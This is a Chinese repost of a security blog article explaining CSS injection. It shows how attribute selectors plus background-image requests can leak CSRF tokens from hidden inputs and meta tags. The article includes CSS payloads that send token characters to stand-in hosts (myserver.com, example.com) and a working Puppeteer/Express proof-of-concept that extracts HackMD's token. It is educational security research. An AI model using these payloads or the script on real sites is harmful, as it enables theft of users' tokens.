查看原文
其他

【第2750期】用 CSS 来偷数据 - CSS injection(上)

huli 前端早读课 2022-10-14

前言

玩法有点意思。今日前端早读课文章由 @huli 授权分享。

正文从这开始~~

在讲到针对网页前端的攻击时,你我的心中浮现的八成会是 XSS,但如果你没办法在网页上执行 JavaScript,有没有其他的攻击手法呢?例如说,假设可以插入 style 标签,你能够做些什麽?

在 2018 年的时候,我有写过一篇 ,那时刚好在 Hacker News 上面看到相关的讨论,于是就花了点时间研究了一下。

而 4 年后的现在,我从安全的角度重新认识了这个攻击手法,因此打算写一两篇文章来好好讲解 CSS injection。

这篇的文章内容包含:

  • 什么是 CSS injection?

  • CSS 偷数据的原理

  • 如何偷 hidden input 的数据

  • 如何偷 meta 的数据

  • 承上,并以 HackMD 为例

什么是 CSS injection?

顾名思义,CSS injection 代表的是你在一个页面上可以插入任何的 CSS 语法,或是讲得更明确一点,你可以使用 <style> 这个标签。你可能会好奇,为什么会有这种情况?

我自己认为常见的情况有两个,第一个是网站有过滤掉许多标签,但不觉得 <style> 有问题,所以没有过滤掉。例如说很多网站都会用现成的 library 来处理 sanitization,其中有一套很有名的叫做 。

在 DOMPurify (v2.4.0) 之中,预设就会帮你把各种危险的标签全都过滤掉,只留下一些安全的,例如说 <h1> 或是 <p> 这种,而重点是 <style> 也在预设的安全标签里面,所以如果你没有特别指定参数,在预设的情况下,<style> 是不会被过滤掉的,因此攻击者就可以注入 CSS。

第二种情况则是虽然可以插入 HTML,但是由于 CSP(Content Security Policy)的缘故,没有办法执行 JavaScript。既然没办法执行 JavaScript,就只能退而求其次,看看有没有办法利用 CSS 做出一些恶意行为。

那到底有了 CSS injection 之后可以干嘛?CSS 不是拿来装饰网页用的而已吗?难道帮网页的背景换颜色也可以是一个攻击手法?

利用 CSS 偷数据

CSS 确实是拿来装饰网页用的,但是只要结合两个特性,就可以使用 CSS 来偷数据。

第一个特性:属性选择器。

在 CSS 当中,有几个选择器可以选到 “属性符合某个条件的元素”。举例来说,input[value^=a],就可以选到 value 开头是 a 的元素。

类似的选择器有:

  • input[value^=a] 开头是 a 的(prefix)

  • input[value$=a] 结尾是 a 的(suffix)

  • input[value*=a] 内容有 a 的(contains)

而第二个特性是:可以利用 CSS 发出 request,例如说载入一张服务器上的背景图片,本质上就是在发一个 request。

假设现在页面上有一段内容是 <input name="secret" value="abc123">,而我能够插入任何的 CSS,我可以这样写:

input[name="secret"][value^="a"] {
background: url(https://myserver.com?q=a)
}

input[name="secret"][value^="b"] {
background: url(https://myserver.com?q=b)
}

input[name="secret"][value^="c"] {
background: url(https://myserver.com?q=c)
}

//....

input[name="secret"][value^="z"]
{
background: url(https://myserver.com?q=z)
}

会发生什么事情?

因为第一条规则有顺利找到对应的元素,所以 input 的背景就会是一张服务器上的图片,而浏览器就会发 request 到 https://myserver.com?q=a

因此,当我在 server 收到这个 request 的时候,我就知道 input 的 value 属性,第一个字符是 a,就顺利偷到了第一个字符。

这就是 CSS 之所以可以偷数据的原因,透过属性选择器加上载入图片这两个功能,就能够让 server 知道页面上某个元素的属性值是什么。

好,现在确认 CSS 可以偷属性的值了,接下来有两个问题:

  • 有什么东西好偷?

  • 你刚只示范偷第一个,要怎么偷第二个字符?

我们先来讨论第一个问题,有哪些东西可以偷?通常都是要偷一些敏感数据对吧?

最常见的目标,就是 CSRF token。如果你不知道什么是 CSRF,可以先看看我之前写过的这一篇:让我们来谈谈 CSRF。

简单来说呢,如果 CSRF token 被偷走,就有可能会被 CSRF 攻击,总之你就想成这个 token 很重要就是了。而这个 CSRF token,通常都会被放在一个 hidden input 中,像是这样:

<form action="/action">
<input type="hidden" name="csrf-token" value="abc123">
<input name="username">
<input type="submit">
</form>

我们该怎么偷到里面的数据呢?

偷 hidden input

对于 hidden input 来说,照我们之前那样写是没有效果的:

input[name="csrf-token"][value^="a"] {
background: url(https://example.com?q=a)
}

因为 input 的 type 是 hidden,所以这个元素不会显示在画面上,既然不会显示,那浏览器就没有必要载入背景图片,因此 server 不会收到任何 request。而这个限制非常严格,就算用 display:block; 也没办法盖过去。

该怎么办呢?没关系,我们还有别的选择器,像是这样:

input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}

最后面多了一个 + input,这个加号是另外一个选择器,意思是 “选到后面的元素”,所以整个选择器合在一起,就是 “我要选 name 是 csrf-token,value 开头是 a 的 input,的后面那个 input”,也就是 <input name="username">

所以,真正载入背景图片的其实是别的元素,而别的元素并没有 type=hidden,所以图片会被正常载入。

那如果后面没有其他元素怎么办?像是这样:

<form action="/action">
<input name="username">
<input type="submit">
<input type="hidden" name="csrf-token" value="abc123">
</form>

以这个案例来说,在以前就真的玩完了,因为 CSS 并没有可以选到 “前面的元素” 的选择器,所以真的束手无策。

但现在不一样了,因为我们有了 :has,这个选择器可以选到 “底下符合特殊条件的元素”,像这样:

form:has(input[name="csrf-token"][value^="a"]){
background: url(https://example.com?q=a)
}

意思就是我要选到 “底下有(符合那个条件的 input)的 form”,所以最后载入背景的会是 form,一样也不是那个 hidden input。这个 has selector 很新,从上个月底释出的 Chrome 105 开始才正式支持,目前只剩下 Firefox 的稳定版还没支持了,详情可看:caniuse


有了 has 以后,基本上就无敌了,因为可以指定改变背景的是哪个父元素,所以想怎么选就怎么选,怎样都选得到。

偷 meta

除了把数据放在 hidden input 以外,也有些网站会把资料放在 <meta> 里面,例如说 <meta name="csrf-token" content="abc123">,meta 这个元素一样是看不见的元素,要怎么偷呢?

首先,如同上个段落的结尾讲的一样,has 是绝对偷得到的,可以这样偷:

html:has(meta[name="csrf-token"][content^="a"]) {
background: url(https://example.com?q=a);
}

但除此之外,还有其他方式也偷得到。

meta 虽然也看不到,但跟 hidden input 不同,我们可以自己用 CSS 让这个元素变成可见:

meta {
display: block;
}

meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}


可是这样还不够,你会发现 request 还是没有送出,这是因为 meta 在 head 底下,而 head 也有预设的 display:none 属性,因此也要帮 head 特别设置,才会让 meta “能被看到”:

head, meta {
display: block;
}

meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}

照上面这样写,就会看到浏览器发出 request。不过,画面上倒是没有显示任何东西,因为毕竟 content 是一个属性,而不是 HTML 的 text node,所以不会显示在画面上,但是 meta 这个元素本身其实是看得到的,这也是为什么 request 会发出去:


如果你真的想要在画面上显示 content 的话,其实也做得到,可以利用伪元素搭配 attr

meta:before {
content: attr(content);
}

就会看到 meta 里面的内容显示在画面上了。

最后,让我们来看一个实际案例。

偷 HackMD 的数据

HackMD 的 CSRF token 放在两个地方,一个是 hidden input,另一个是 meta,内容如下:

<meta name="csrf-token" content="h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI">

而 HackMD 其实支持 <style> 的使用,这个标签不会被过滤掉,所以你是可以写任何的 style 的,而相关的 CSP 如下:

img-src * data:;
style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com
https://fonts.gstatic.com https://*.disquscdn.com;
font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com;

可以看到 unsafe-inline 是允许的,所以可以插入任何的 CSS。

确认可以插入 CSS 以后,就可以开始来准备偷数据了。还记得前面有一个问题没有回答,那就是 “该怎麽偷第一个以后的字符?”,我先以 HackMD 为例回答。

首先,CSRF token 这种东西通常重新整理就会换一个,所以不能重新整理,而 HackMD 刚好支持即时更新,只要内容变了,会立刻反映在其他 client 的画面上,因此可以做到 “不重新整理而更新 style”,流程是这样的:

  • 准备好偷第一个字符的 style,插入到 HackMD 里面面

  • 受害者打开页面

  • 服务器收到第一个字节的 request

  • 从服务器更新 HackMD 内容,换成偷第二个字符的 payload

  • 受害者页面即时更新,载入新的 style

  • 服务器收到第二个字符的 request

  • 不断循环直到偷完所有字符

简单的示意图如下:


代码如下:

const puppeteer = require('puppeteer');
const express = require('express')

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

// Create a hackMD document and let anyone can view/edit
const noteUrl = 'https://hackmd.io/1awd-Hg82fekACbL_ode3aasf'
const host = 'http://localhost:3000'
const baseUrl = host + '/extract?q='
const port = process.env.PORT || 3000

;(async function() {
const app = express()
const browser = await puppeteer.launch({
headless: true
});
const page = await browser.newPage();
await page.setViewport({ width: 1280, height: 800 })
await page.setRequestInterception(true);

page.on('request', request => {
const url = request.url()
// cancel request to self
if (url.includes(baseUrl)) {
request.abort()
} else {
request.continue()
}
});
app.listen(port, () => {
console.log(`Listening at http://localhost:${port}`)
console.log('Waiting for server to get ready...')
startExploit(app, page)
})
})()

async function startExploit(app, page) {
let currentToken = ''
await page.goto(noteUrl + '?edit');

// @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele
await page.addStyleTag({ content: "{scroll-behavior: auto;}" });
const initialPayload = generateCss()
await updateCssPayload(page, initialPayload)
console.log(`Server is ready, you can open ${noteUrl}?view on the browser`)

app.get('/extract', (req, res) => {
const query = req.query.q
if (!query) return res.end()

console.log(`query: ${query}, progress: ${query.length}/36`)
currentToken = query
if (query.length === 36) {
console.log('over')
return
}
const payload = generateCss(currentToken)
updateCssPayload(page, payload)
res.end()

})
}

async function updateCssPayload(page, payload) {
await sleep(300)
await page.click('.CodeMirror-line')
await page.keyboard.down('Meta');
await page.keyboard.press('A');
await page.keyboard.up('Meta');
await page.keyboard.press('Backspace');
await sleep(300)
await page.keyboard.sendCharacter(payload)
console.log('Updated css payload, waiting for next request')
}

function generateCss(prefix = "") {
const csrfTokenChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('')
return `
${prefix}
<style>
head, meta {
display: block;
}
${
csrfTokenChars.map(char => `
meta[name="csrf-token"][content^="${prefix + char}"] {
background: url(${baseUrl}${prefix + char})
}
`).join('\n')
}
</style>
`

}

可以直接用 Node.js 跑起来,跑起来以后在浏览器打开相对应的文件,就可以在 terminal 看到 leak 的进度。

不过呢,就算偷到了 HackMD 的 CSRF token,依然还是没办法 CSRF,因为 HackMD 有在 server 检查其他的 HTTP request header 如 origin 或是 referer 等等,确保 request 来自合法的地方。

总结

在这篇里面,我们看到了之所以可以用 CSS 来偷数据的原理,说穿了就是利用 “属性选择器” 再加上 “载入图片” 这两个简单的功能,也示范了如何偷取 hidden input 跟 meta 里的数据,并且以 HackMD 当作实际案例说明。

但是呢,有几个问题我们还没解决,像是:

  • HackMD 因为可以即时同步内容,所以不需要重新整理就可以载入新的 style,那其他网站呢?该怎么偷到第二个以后的字符?

  • 一次只能偷一个字符的话,是不是要偷很久呢?这在实际上可行吗?

  • 有没有办法偷到属性以外的东西?例如说页面上的文字内容,或甚至是 JavaScript 的代码?

  • 针对这个攻击手法的防御方式有哪些?

关于本文
作者:@huli
原文:https://blog.huli.tw/2022/09/29/css-injection-1/

通过本文了解选择器的妙用,那对 CSS 选择器有兴趣的,推荐下方这本

关于【CSS】相关推荐,欢迎读者自荐投稿,前端早读课等你来。+v:zhgb_f2er

【第2729期】如何让CSS计数器支持小数的动态变化?

【第2711期】利用CSS实现超长内容滚动播放

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存